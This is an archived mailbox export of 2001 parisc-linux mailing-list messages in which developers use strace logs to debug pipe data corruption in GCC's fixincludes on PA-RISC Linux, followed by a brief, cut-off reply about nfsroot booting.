16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 brk(0x1f000)                   = 0x1f000
16:30:10 brk(0x20000)                   = 0x20000
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\nm88k-motorola-sysv3* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 148) = 148
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\nm88k-*-sysv3* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 141) = 141
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\nm88k-tektronix-sysv3* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 149) = 149
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 brk(0x21000)                   = 0x21000
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\nm68k-motorola-sysv* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 147) = 147
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 brk(0x22000)                   = 0x22000
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni?86-*-sco3.2* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 142) = 142
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni?86-*-sco3.2* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 142) = 142
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni?86-*-sco3.2v4* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 144) = 144
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 brk(0x23000)                   = 0x23000
16:30:10 brk(0x24000)                   = 0x24000
16:30:10 brk(0x25000)                   = 0x25000
16:30:10 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\n*-*-sysv4* | \\\ni?86-*-sysv5* | \\\ni?86-*-udk* | \\\ni?86-*-solaris2.[0-4] | \\\npowerpcle-*-solaris2.[0-4] | \\\nsparc-*-solaris2.[0-4] )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 256) = 256
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:10 alarm(10)                      = 10
16:30:10 alarm(10)                      = 10
16:30:10 alarm(0)                       = 10
16:30:10 brk(0x26000)                   = 0x26000
16:30:10 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
16:30:10 rt_sigaction(SIGABRT, {SIG_IGN}, {SIG_DFL}, 8) = 0
16:30:10 rt_sigaction(SIGPIPE, {SIG_IGN}, {0x1664e, [STKFLT RT_2 RT_5 RT_6 RT_8 RT_9 RT_10 RT_12 RT_14 RT_16], SA_RESTART}, 8) = 0
16:30:10 rt_sigaction(SIGALRM, {SIG_IGN}, {0x1664e, [STKFLT RT_2 RT_5 RT_6 RT_8 RT_9 RT_10 RT_12 RT_14 RT_16], SA_RESTART}, 8) = 0
16:30:10 rt_sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 8) = 0
16:30:10 ioctl(2, 0x40245410, {B9600 opost isig icanon echo ...}) = 0
16:30:10 newfstat(0, {st_mode=S_IFIFO|0600, st_size=13, ...}) = 0
16:30:10 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4015d000
16:30:10 read(0, "./sys/stat.h\n", 4096) = 13
16:30:10 read(0, "", 4096)              = 0
16:30:10 close(0)                       = 0
16:30:10 munmap(0x4015d000, 4096)       = 0
16:30:10 open("/dev/null", O_RDONLY|O_LARGEFILE) = 0
16:30:10 access("sys/stat.h", R_OK)     = 0
16:30:10 newstat("sys/stat.h", {st_mode=S_IFREG|0644, st_size=12006, ...}) = 0
16:30:10 open("sys/stat.h", O_RDONLY)   = 4
16:30:10 mmap(NULL, 12007, PROT_READ, MAP_PRIVATE, 4, 0) = 0x4015d000
16:30:10 write(2, " 12007 sys/stat.h                                           \r", 61) = 61
16:30:10 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158) = 158
16:30:10 alarm(10)                      = 0
16:30:10 read(6, "FALSE\n", 4096)       = 6
16:30:10 alarm(10)                      = 10
16:30:10 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
16:30:20 --- SIGALRM (Alarm clock) ---
16:30:20 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
18:49:04 --- SIGINT (Interrupt) ---
18:49:04 +++ killed by SIGINT +++






From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 22:39:57 +1100 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102222237440.14557-100000@front.linuxcare.com.au>
References: <E14Vtsu-0003xc-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619901 15981 80.91.229.3 (22 Nov 2014 01:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:41 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:40:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78A3F4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:40:26 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA03043;
	Thu, 22 Feb 2001 22:39:57 +1100
In-Reply-To: <E14Vtsu-0003xc-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:10360

On Thu, 22 Feb 2001, Alan Cox wrote:

> > > thinking there is no data available.  Secondary problem is that the kernel
> > > returns the wrong thing when the syscall is interrupted.
> > 
> > But I just tried this on my x86 as well (2.2 kernel):
> 
> The return is ok. Its 'deep magic' strace sees

Err, are you saying I'm barking up the wrong gum tree, and there's nothing
wrong with the read() in my strace output?





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:52:59 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14VuIu-00040I-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0102222237440.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619901 15985 80.91.229.3 (22 Nov 2014 01:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:41 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	rhirst@linuxcare.com (Richard Hirst),
	parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:50:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29E6F4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:50:09 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14VuIu-00040I-00; Thu, 22 Feb 2001 11:53:00 +0000
In-Reply-To: <Pine.LNX.4.21.0102222237440.14557-100000@front.linuxcare.com.au> from "Alan Modra" at Feb 22, 2001 10:39:57 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10361

> > The return is ok. Its 'deep magic' strace sees
> 
> Err, are you saying I'm barking up the wrong gum tree, and there's nothing
> wrong with the read() in my strace output?

strace will see the magic ERESTARTSYS type codes, but the application will not





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:52:10 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20010222115210.C1129@linuxcare.com>
References: <20010222110054.A1129@linuxcare.com> <Pine.LNX.4.21.0102222202190.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619901 15987 80.91.229.3 (22 Nov 2014 01:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:51:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E7FC4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:51:24 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 82F9DB005; Thu, 22 Feb 2001 11:52:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102222202190.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 10:34:18PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10362

On Thu, Feb 22, 2001 at 10:34:18PM +1100, Alan Modra wrote:
> On Thu, 22 Feb 2001, Richard Hirst wrote:
> 
> > On Thu, Feb 22, 2001 at 05:37:55PM +1100, Alan Modra wrote:
> > > 
> > > I had another look at the fixincludes problem, and found the following:
> > > 
> > > 14:36:08 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158) = 158
> > > 14:36:08 alarm(10)                      = 0
> > > 14:36:08 read(6, "FALSE\n", 4096)       = 6
> > > 14:36:08 alarm(10)                      = 10
> > > 14:36:08 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> > > 14:36:18 --- SIGALRM (Alarm clock) ---
> > > 14:36:18 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> > > 14:36:28 --- SIGINT (Interrupt) ---
> > > 14:36:28 +++ killed by SIGINT +++

>    This is a different situation.  Notice in my case that the first
> read() returning -512 was before the alarm went off.

Don't think so.  The read is issued at 14:36:08, no data is available,
so 10 seconds later the alarm goes off, and read returns -512.  Strace
completes that line of output and reports the SIGALRM.

Richard





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:53:42 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010222115342.D1129@linuxcare.com>
References: <E14Vtsu-0003xc-00@the-village.bc.nu> <Pine.LNX.4.21.0102222237440.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619902 15989 80.91.229.3 (22 Nov 2014 01:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:42 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:52:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3186C4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:52:56 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6F173B005; Thu, 22 Feb 2001 11:53:42 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102222237440.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 10:39:57PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10363

On Thu, Feb 22, 2001 at 10:39:57PM +1100, Alan Modra wrote:
> On Thu, 22 Feb 2001, Alan Cox wrote:
> 
> > > > thinking there is no data available.  Secondary problem is that the kernel
> > > > returns the wrong thing when the syscall is interrupted.
> > > 
> > > But I just tried this on my x86 as well (2.2 kernel):
> > 
> > The return is ok. Its 'deep magic' strace sees
> 
> Err, are you saying I'm barking up the wrong gum tree, and there's nothing
> wrong with the read() in my strace output?

I think the problem is simply that there is no data for the read to
pick up, so it hangs until the alarm goes off.

Richard





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 23:27:14 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102222256360.14557-100000@front.linuxcare.com.au>
References: <20010222115210.C1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619902 15993 80.91.229.3 (22 Nov 2014 01:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 05:27:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id B95484A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 05:27:18 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA04535;
	Thu, 22 Feb 2001 23:27:15 +1100
In-Reply-To: <20010222115210.C1129@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10364

On Thu, 22 Feb 2001, Richard Hirst wrote:

> Don't think so.  The read is issued at 14:36:08, no data is available,
> so 10 seconds later the alarm goes off, and read returns -512.  Strace
> completes that line of output and reports the SIGALRM.

Ah, thanks for the clarification.  So it comes back to data being mangled
in the pipe or somesuch.

Hmm, strace -f now works with your mods to the kernel, so now I can look
at the other end.  

131   22:37:47 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158 <unfinished ...>
132   22:37:47 read(0, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEUUUU\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\367\4\0\0\0\0\0PUU\0\0\0\0\0\0"..., 156) = 558544
132   22:37:47 chdir("/scsi/tmp")       = 0

Bingo.  Look at that read.





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 13:03:59 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20010222130359.F1129@linuxcare.com>
References: <20010222115210.C1129@linuxcare.com> <Pine.LNX.4.21.0102222256360.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619902 15998 80.91.229.3 (22 Nov 2014 01:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 06:03:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC28C4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 06:03:13 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9F4A0B005; Thu, 22 Feb 2001 13:03:59 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102222256360.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 11:27:14PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10365

On Thu, Feb 22, 2001 at 11:27:14PM +1100, Alan Modra wrote:
> On Thu, 22 Feb 2001, Richard Hirst wrote:
> 
> > Don't think so.  The read is issued at 14:36:08, no data is available,
> > so 10 seconds later the alarm goes off, and read returns -512.  Strace
> > completes that line of output and reports the SIGALRM.
> 
> Ah, thanks for the clarification.  So it comes back to data being mangled
> in the pipe or somesuch.
> 
> Hmm, strace -f now works with your mods to the kernel, so now I can look
> at the other end.  
> 
> 131   22:37:47 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158 <unfinished ...>
> 132   22:37:47 read(0, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEUUUU\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\367\4\0\0\0\0\0PUU\0\0\0\0\0\0"..., 156) = 558544
> 132   22:37:47 chdir("/scsi/tmp")       = 0
> 
> Bingo.  Look at that read.

Nice one!  I wonder if that <unfinished ...> is significant.  You can
tell strace to write each processes trace to a seperate file, which
might show if that write is really blocked or it is just straces way of
handling output, and you can use -tt to get finer grained timestamping.

How do I reproduce this?  Is it as simple as cd <somewhere in a gcc
build tree> && ./fixincludes, or is it more complex?

Richard





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Fri, 23 Feb 2001 00:27:44 +1100 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102230011340.14557-100000@front.linuxcare.com.au>
References: <20010222130359.F1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619903 16003 80.91.229.3 (22 Nov 2014 01:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 06:27:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BE854A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 06:27:48 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA06397;
	Fri, 23 Feb 2001 00:27:44 +1100
In-Reply-To: <20010222130359.F1129@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10366

On Thu, 22 Feb 2001, Richard Hirst wrote:

> On Thu, Feb 22, 2001 at 11:27:14PM +1100, Alan Modra wrote:
> > 131   22:37:47 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158 <unfinished ...>
> > 132   22:37:47 read(0, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEUUUU\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\367\4\0\0\0\0\0PUU\0\0\0\0\0\0"..., 156) = 558544
> > 132   22:37:47 chdir("/scsi/tmp")       = 0
> > 
> > Bingo.  Look at that read.
> 
> Nice one!  I wonder if that <unfinished ...> is significant.

It completes after pid 132 has done a few things.

> How do I reproduce this?  Is it as simple as cd <somewhere in a gcc
> build tree> && ./fixincludes, or is it more complex?

Nothing is ever simple when it comes to gcc ;)

This is more or less what I used for the last trace, but I've
parameterized it for you, and added a crucial mkdir.  Change BUILD to
suit.  What's the betting you can't reproduce this? :-(

BUILD=/scsi/tmp/gcc
mkdir -p $BUILD/gcc/include/usr/include/sys
cd /usr/include
echo ./sys/stat.h | \
TARGET_MACHINE=hppa-unknown-linux-gnu \
ORIGDIR=$BUILD/gcc \
SRCDIR=/usr/include \
INPUT=/usr/include \
DESTDIR=$BUILD/gcc/include \
VERBOSE=5 \
FIND_BASE=. \
strace -s 256 -t -f -o /tmp/tsys $BUILD/gcc/fixinc/fixincl





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting nfsroot-20001009.tar.gz
Date: Thu, 22 Feb 2001 08:51:39 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200102221351.f1MDpdN07297@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416619903 16006 80.91.229.3 (22 Nov 2014 01:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:43 +0000 (UTC)
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>,
	PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 06:51:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from openbsd1.buttafuoco.net (3ff839a7.dsl.flashcom.net [63.248.57.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id C61934A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 06:51:51 -0700 (MST)
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f1MDpdN07297;
	Thu, 22 Feb 2001 08:51:39 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 63.248.57.155
Xref: news.gmane.org gmane.linux.ports.parisc:10367

I had the same problem.  I noticed that the loopback network was not
getting setup.  After I fixed this the boot worked find.



> I got linux-20010216.tar.gz and the kernel is not crashing. I've run
> into into a boot problem. Ive added the nfsroot directory in the
> /etc/fstab file. With options 'default', the init process stops when
